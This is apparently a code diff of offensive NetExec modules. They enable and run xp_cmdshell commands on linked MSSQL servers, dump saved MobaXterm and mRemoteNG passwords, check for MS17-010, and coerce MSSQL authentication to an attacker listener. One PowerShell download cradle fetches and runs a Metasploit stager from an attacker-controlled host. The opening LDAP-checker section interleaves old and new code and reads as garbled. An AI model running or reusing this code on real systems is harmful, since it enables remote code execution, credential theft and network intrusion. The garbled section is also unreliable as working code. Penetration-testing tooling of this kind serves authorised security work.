context.log.debug(f"Exception in run_ldaps_noEPA: {e}")
return None
finally:
with contextlib.suppress(Exception):
await client.disconnect()
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that an
# LDAPS bind without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error received from the bind attempt.
async def run_ldaps_withEPA(self, context, connection, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
_, err = await client.connect()
if err:
context.log.fail(f"Error connecting to {connection.domain}: {err}")
return None
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
# interact with LDAPS. The condition for the certificate
# existing as it should is either an error regarding
# the fact that the certificate is self-signed, or
# no error at all. Any other "successful" edge cases
# not yet accounted for.
def DoesLdapsCompleteHandshake(dcIp):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_sock = ssl.wrap_socket(
s,
cert_reqs=ssl.CERT_OPTIONAL,
suppress_ragged_eofs=False,
do_handshake_on_connect=False,
)
ssl_sock.connect((dcIp, 636))
try:
ssl_sock.do_handshake()
ssl_sock.close()
return True
except Exception as e:
if "CERTIFICATE_VERIFY_FAILED" in str(e):
ssl_sock.close()
return True
if "handshake operation timed out" in str(e):
ssl_sock.close()
return False
context.log.debug("Retrieving TLS certificate hash...")
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
cert = ssl_sock.getpeercert(binary_form=True)
if cert:
cert_hash = hashlib.sha256(cert).digest()
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
pos = random.randint(0, len(cert_hash) - 1)
tampered_bytes = bytearray(cert_hash)
tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256
context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}")
context.log.debug(f"Modified byte at position {pos}")
client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes)
else:
context.log.fail("Unexpected error during LDAPS handshake: " + str(e))
ssl_sock.close()
return False
client.cb_data = b"\x00" * 64
except Exception as e:
context.log.debug(f"Failed to retrieve TLS certificate hash: {e}")
client.cb_data = b"\x00" * 64
# Conduct and LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is None:
_, err = await ldapsClientConn.bind()
if "stronger" in str(err):
return True # because LDAP server signing requirements ARE enforced
elif ("data 52e") in str(err):
context.log.fail("Not connected... exiting")
sys.exit()
elif err is None:
return False
_, err = await client.bind()
if err and "data 80090346" in str(err):
return True
elif (err and "data 52e" in str(err)) or err is None:
return False
else:
context.log.fail(str(err))
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
secret = connection.password if not connection.nthash else connection.nthash
if not connection.kerberos:
credential = NTLMCredential(
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
else:
kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!")
elif ldapIsProtected is True:
context.log.fail("LDAP Signing IS Enforced")
else:
context.log.fail("Connection fail, exiting now")
sys.exit()
if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
elif ldapsChannelBindingAlwaysCheck is True:
context.log.fail('LDAPS Channel Binding is set to "Required"')
context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}")
return None
except Exception as e:
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
return None
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
# interact with LDAPS. The condition for the certificate
# existing as it should is either an error regarding
# the fact that the certificate is self-signed, or
# no error at all. Any other "successful" edge cases
# not yet accounted for.
def does_ldaps_complete_handshake(self, context, dc_ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False)
try:
ssl_sock.connect((dc_ip, 636))
ssl_sock.do_handshake()
return True
except Exception as e:
if "CERTIFICATE_VERIFY_FAILED" in str(e):
return True
elif "handshake operation timed out" in str(e):
return False
else:
context.log.fail("\nSomething went wrong...")
sys.exit()
context.log.fail(f"Unexpected error during LDAPS handshake: {e}")
return False
finally:
ssl_sock.close()
# Conduct an LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(self, context, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
client._disable_signing = True # deliberately disable LDAP signing on client connection
_, err = await client.connect()
if err:
context.log.fail(f"Error connecting for LDAP bind: {err}")
return None
_, err = await client.bind()
if err:
errstr = str(err).lower()
if "stronger" in errstr:
return True
# because LDAP server signing requirements ARE enforced
else:
context.log.fail(f"LDAP bind error: {err}")
return None
else:
# LDAPS bind successful
return False
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(f"Exception during LDAP bind: {e}")
return None
# Determine authentication context and proceed to
# enumerate LDAP signing and channel binding settings
def on_login(self, context, connection):
stype = asyauthSecret.PASS
secret = connection.password
if connection.nthash:
stype = asyauthSecret.NT
secret = connection.nthash
if connection.aesKey:
stype = asyauthSecret.AES
secret = connection.aesKey
anon_credential = NTLMCredential(
secret="",
username="",
domain=connection.domain,
stype=asyauthSecret.PASS
)
if not connection.username and not secret:
context.log.highlight("No credentials provided, skipping LDAP signing check")
credential = anon_credential
else:
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
if not connection.kerberos:
credential = NTLMCredential(
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype
)
else:
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
ldap_signing_status = None
if connection.username or secret:
target = MSLDAPTarget(
connection.host, 389,
hostname=connection.remoteName,
domain=connection.domain,
dc_ip=connection.kdcHost,
)
ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential))
if ldap_signing_status is True:
context.log.highlight("LDAP signing IS enforced")
elif ldap_signing_status is False:
context.log.highlight("LDAP signing NOT enforced")
else:
context.log.fail("Could not determine LDAP signing requirement.")
if self.does_ldaps_complete_handshake(context, connection.host):
target = MSLDAPTarget(
connection.host, 636,
UniProto.CLIENT_SSL_TCP,
hostname=connection.remoteName,
domain=connection.domain,
dc_ip=connection.kdcHost,
)
ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential))
ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential))
if ldaps_noEPA is False and ldaps_withEPA is True:
context.log.highlight("LDAPS channel binding is set to: When Supported")
elif ldaps_noEPA is False and ldaps_withEPA is False:
context.log.highlight("LDAPS channel binding is set to: Never")
elif ldaps_noEPA is True:
context.log.highlight("LDAPS channel binding is set to: Required")
else:
context.log.fail("Could not determine LDAPS channel binding settings")
else:
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
+63
View File
@@ -0,0 +1,63 @@
class NXCModule:
"""
Enable or disable xp_cmdshell on a linked SQL server
Module by deathflamingo
"""
name = "link_enable_xp"
description = "Enable or disable xp_cmdshell on a linked SQL server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.action = None
self.linked_server = None
def options(self, context, module_options):
"""
Defines the options for enabling or disabling xp_cmdshell on the linked server.
ACTION Specifies whether to enable or disable:
- enable (default)
- disable
LINKED_SERVER The name of the linked SQL server to target.
"""
self.action = module_options.get("ACTION", "enable")
self.linked_server = module_options.get("LINKED_SERVER")
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server:
self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
return
# Enable or disable xp_cmdshell based on action
if self.action == "enable":
self.enable_xp_cmdshell()
elif self.action == "disable":
self.disable_xp_cmdshell()
else:
self.context.log.fail(f"Unknown action: {self.action}")
def enable_xp_cmdshell(self):
"""Enable xp_cmdshell on the linked server."""
query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Enabling advanced options on {self.linked_server}...")
out = self.query_and_get_output(query)
query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...")
out = self.query_and_get_output(query)
self.context.log.display(out)
self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
def disable_xp_cmdshell(self):
"""Disable xp_cmdshell on the linked server."""
query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]"
self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...")
self.query_and_get_output(query)
self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
def query_and_get_output(self, query):
"""Executes a query and returns the output."""
return self.mssql_conn.sql_query(query)
+44
View File
@@ -0,0 +1,44 @@
class NXCModule:
"""
Run xp_cmdshell commands on a linked SQL server
Module by deathflamingo
"""
name = "link_xpcmd"
description = "Run xp_cmdshell commands on a linked SQL server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
Defines the options for running xp_cmdshell commands on a linked server.
LINKED_SERVER The name of the linked SQL server to target.
CMD The command to run via xp_cmdshell.
"""
self.linked_server = module_options.get("LINKED_SERVER")
self.command = module_options.get("CMD")
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
return
self.run_xp_cmdshell(self.command)
def run_xp_cmdshell(self, cmd):
"""Run the specified command via xp_cmdshell on the linked server."""
query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]"
self.context.log.display(f"Running command on {self.linked_server}: {cmd}")
result = self.query_and_get_output(query)
self.context.log.success(f"Command output:\n{result}")
def query_and_get_output(self, query):
"""Executes a query and returns the output."""
return self.mssql_conn.sql_query(query)
@@ -64,7 +64,7 @@ class NXCModule:
context.log.fail("Unable to dump lsass")
return False
parsed = Parser(file).parse()
parsed = Parser(host, file).parse()
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
@@ -1,3 +1,5 @@
from pyasn1.error import PyAsn1Error
class NXCModule:
"""
@@ -14,16 +16,17 @@ class NXCModule:
def options(self, context, module_options):
pass
name = "MAQ"
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def on_login(self, context, connection):
result = []
context.log.display("Getting the MachineAccountQuota")
searchFilter = "(objectClass=*)"
attributes = ["ms-DS-MachineAccountQuota"]
result = connection.search(searchFilter, attributes)
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
try:
maq = result[0]["attributes"][0]["vals"][0]
context.log.highlight(f"MachineAccountQuota: {maq}")
except PyAsn1Error:
context.log.highlight("MachineAccountQuota: <not set>")
+1 -1
View File
@@ -37,7 +37,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
if not self.ca:
context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
context.log.fail(r"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
return False
host = connection.host
+22 -22
View File
@@ -27,6 +27,8 @@ class NXCModule:
SRVPORT Stager port
RAND Random string given by metasploit (if using web_delivery)
SSL Stager server use https or http (default: https)
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
multi/handler method that don't require RAND:
Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
@@ -35,8 +37,11 @@ class NXCModule:
windows/x64/powershell_reverse_tcp_ssl
Web Delivery Method (exploit/multi/script/web_delivery):
Set SRVHOST and SRVPORT
Set target 2 (PSH)
Set payload to what you want (windows/meterpreter/reverse_https, etc)
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
check compatabile payloads with `show payloads`
Optional: SET URIPATH {custom}
After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to
"""
self.met_ssl = "https"
@@ -53,24 +58,19 @@ class NXCModule:
self.srvport = module_options["SRVPORT"]
def on_admin_login(self, context, connection):
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
command = """$url="{}://{}:{}/{}"
$DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
$ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
$ProcessInfo.FileName=$PowershellExe
$ProcessInfo.Arguments="-nop -c $DownloadCradle"
$ProcessInfo.UseShellExecute = $False
$ProcessInfo.RedirectStandardOutput = $True
$ProcessInfo.CreateNoWindow = $True
$ProcessInfo.WindowStyle = "Hidden"
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
"http" if self.met_ssl == "http" else "https",
self.srvhost,
self.srvport,
self.rand,
)
context.log.debug(command)
connection.ps_execute(command, force_ps32=True)
context.log.success("Executed payload")
# https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1
proto = "http" if self.met_ssl == "http" else "https"
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
context.log.debug(f"{metasploit_endpoint=}")
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
context.log.debug(f"Running command via ps_execute: {command}")
output = connection.ps_execute(command)
context.log.debug(f"Received output from ps_execute: {output}")
if output and "Unable to connect to the remote server" in output:
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
else:
context.log.success("Executed payload")
+62
View File
@@ -0,0 +1,62 @@
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
def mobaxterm_callback(credential):
if isinstance(credential, MobaXtermCredential):
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
try:
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
triage.triage_mobaxterm()
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
+208
View File
@@ -0,0 +1,208 @@
import ntpath
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
@dataclass
class MRemoteNgEncryptionAttributes:
kdf_iterations: int
block_cipher_mode: str
encryption_engine: str
full_file_encryption: bool
class NXCModule:
"""
Dump mRemoteNG Passwords
module by @_zblurx
"""
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.false_positive = (
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
)
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
]
self.custom_user_path = [
"Users\\{username}\\Desktop",
"Users\\{username}\\Documents",
]
self.recurse_max = 10
def options(self, context, module_options):
"""
SHARE Share parsed. Default to C$
PASSWORD Custom password to decrypt confCons.xml files
CUSTOM_PATH Custom path to confCons.xml file
"""
self.context = context
self.password = "mR3m"
if "PASSWORD" in module_options:
self.password = module_options["PASSWORD"]
self.custom_path = None
if "CUSTOM_PATH" in module_options:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if dploot_conn is None:
context.log.debug("Could not upgrade connection")
return
# 2. Dump users list
users = self.get_users(dploot_conn)
# 3. Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = dploot_conn.readFile(self.share, user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = dploot_conn.readFile(self.share, self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
kdf_iterations=int(main.attrib["KdfIterations"]),
block_cipher_mode=main.attrib["BlockCipherMode"],
encryption_engine=main.attrib["EncryptionEngine"],
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
)
for node_attribute in self.parse_xml_nodes(main):
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
if password == b"":
continue
name = node_attribute["Name"]
hostname = node_attribute["Hostname"]
domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"]
username = node_attribute["Username"]
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
def parse_xml_nodes(self, main):
nodes = []
for node in list(main.getchildren()):
node_attributes = node.attrib
if node_attributes["Type"] == "Connection":
nodes.append(node.attrib)
elif node_attributes["Type"] == "Container":
nodes.append(node.attrib)
nodes = nodes + self.parse_xml_nodes(node)
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
new_path = ntpath.join(directory_path, item.get_longname())
if item.is_directory() > 0:
if recurse_level < recurse_max:
self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max)
else:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
encrypted_password = b64decode(encrypted_password)
if encrypted_password == b"":
return encrypted_password
if encryption_attributes.encryption_engine == "AES":
salt = encrypted_password[:16]
associated_data = encrypted_password[:16]
nonce = encrypted_password[16:32]
ciphertext = encrypted_password[32:-16]
tag = encrypted_password[-16:]
key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32)
if encryption_attributes.block_cipher_mode == "GCM":
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
elif encryption_attributes.block_cipher_mode == "CCM":
cipher = AES.new(key, AES.MODE_CCM, nonce=nonce)
elif encryption_attributes.block_cipher_mode == "EAX":
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented")
cipher.update(associated_data)
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
+13 -8
View File
@@ -62,10 +62,15 @@ class NXCModule:
self.logger = context.log
def on_login(self, context, connection):
if self.check(connection.host):
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
try:
if self.check(connection.host):
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
except ConnectionResetError as e:
context.log.debug(f"Error connecting to host when checking for MS17-010: {e!s}")
except ValueError as e:
if str(e) == "Buffer size too small (0 instead of at least 32 bytes)":
context.log.debug("Buffer size too small, which means the response was not the expected size")
def generate_smb_proto_payload(self, *protos):
@@ -243,7 +248,7 @@ class NXCModule:
]
# Create the IPC string
ipc = f"\\\\{ip}\IPC$\x00"
ipc = f"\\\\{ip}\\IPC$\x00"
self.logger.debug(f"Connecting to {ip} with UID: {userid.hex()}")
# Initialize the tree connect andx request
@@ -476,7 +481,7 @@ class NXCModule:
# 0xC0000022 - STATUS_ACCESS_DENIED
if nt_status == b"\x05\x02\x00\xc0":
self.logger.highlight(f"[+] [{ip}] is likely VULNERABLE to MS17-010! ({native_os.decode()})")
self.logger.highlight(f"[+] {ip} is likely VULNERABLE to MS17-010! ({native_os.decode()})")
# vulnerable to MS17-010, check for DoublePulsar infection
raw_proto = self.trans2_request(tree_id, process_id, user_id, multiplex_id)
@@ -491,8 +496,8 @@ class NXCModule:
key = self.calculate_doublepulsar_xor_key(smb.signature)
self.logger.highlight(f"Host is likely INFECTED with DoublePulsar! - XOR Key: {key.decode()}")
elif nt_status in (b"\x08\x00\x00\xc0", b"\x22\x00\x00\xc0"):
self.logger.fail(f"[-] [{ip}] does NOT appear vulnerable")
self.logger.fail(f"{ip} does NOT appear vulnerable")
else:
self.logger.fail(f"[-] [{ip}] Unable to detect if this host is vulnerable")
self.logger.fail(f"{ip} Unable to detect if this host is vulnerable")
client.close()
+3 -3
View File
@@ -3,7 +3,7 @@
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
from sys import exit
from os import path
import sys
from nxc.paths import TMP_PATH
from nxc.helpers.powershell import get_ps_script
@@ -49,14 +49,14 @@ class NXCModule:
def on_admin_login(self, context, connection):
if self.use_embedded:
file_to_upload = "/tmp/msol.ps1"
file_to_upload = f"{TMP_PATH}/msol.ps1"
try:
with open(file_to_upload, "w") as msol:
msol.write(self.msol_embedded)
except FileNotFoundError:
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
sys.exit(1)
exit(1)
else:
if path.isfile(self.MSOL_PS1):
+79
View File
@@ -0,0 +1,79 @@
import sys
class NXCModule:
"""Execute arbitrary SQL commands on the target MSSQL server"""
name = "mssql_coerce"
description = "Execute arbitrary SQL commands on the target MSSQL server"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
self.listener = None
def options(self, context, module_options):
"""
LISTENER LISTENER for exploitation
L Alias for LISTENER
"""
self.context = context
self.listener = None
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
if "L" in module_options:
self.listener = module_options["L"]
def on_login(self, context, connection):
if self.listener is None:
context.log.error("LISTENER option is required!")
sys.exit(1)
self.context = context
self.mssql_conn = connection.conn
commands = [
f"xp_dirtree '\\\\{self.listener}\\file';",
f"xp_fileexist '\\\\{self.listener}\\file';",
f"BACKUP LOG [TESTING] TO DISK = '\\\\{self.listener}\\file';",
f"BACKUP DATABASE [TESTING] TO DISK = '\\\\{self.listener}\\file';",
f"RESTORE LOG [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE DATABASE [TESTING] FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE HEADERONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE FILELISTONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE LABELONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE REWINDONLY FROM DISK = '\\\\{self.listener}\\file';",
f"RESTORE VERIFYONLY FROM DISK = '\\\\{self.listener}\\file';",
f"DBCC checkprimaryfile ('\\\\{self.listener}\\file');",
f"CREATE ASSEMBLY HelloWorld FROM '\\\\{self.listener}\\file' WITH PERMISSION_SET = SAFE; GO ",
f"sp_addextendedproc 'xp_hello','\\\\{self.listener}\\file';",
f"CREATE CERTIFICATE testing123 FROM EXECUTABLE FILE = '\\\\{self.listener}\\file'; GO ",
f"BACKUP CERTIFICATE test01 TO FILE = '\\\\{self.listener}\\file' WITH PRIVATE KEY (decryption by password = 'superpassword', FILE = '\\\\{self.listener}\\file', encryption by password = 'superpassword'); GO ",
f"BACKUP MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"BACKUP SERVICE MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"RESTORE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password' ENCRYPTION BY PASSWORD = 'password'; GO ",
f"RESTORE SERVICE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password'; GO ",
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file'; DROP TABLE #TEXTFILE;",
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file' WITH (FORMATFILE = '\\testing21\file'); DROP TABLE #TEXTFILE;",
f"SELECT * FROM sys.fn_xe_file_target_read_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',null,null); GO ",
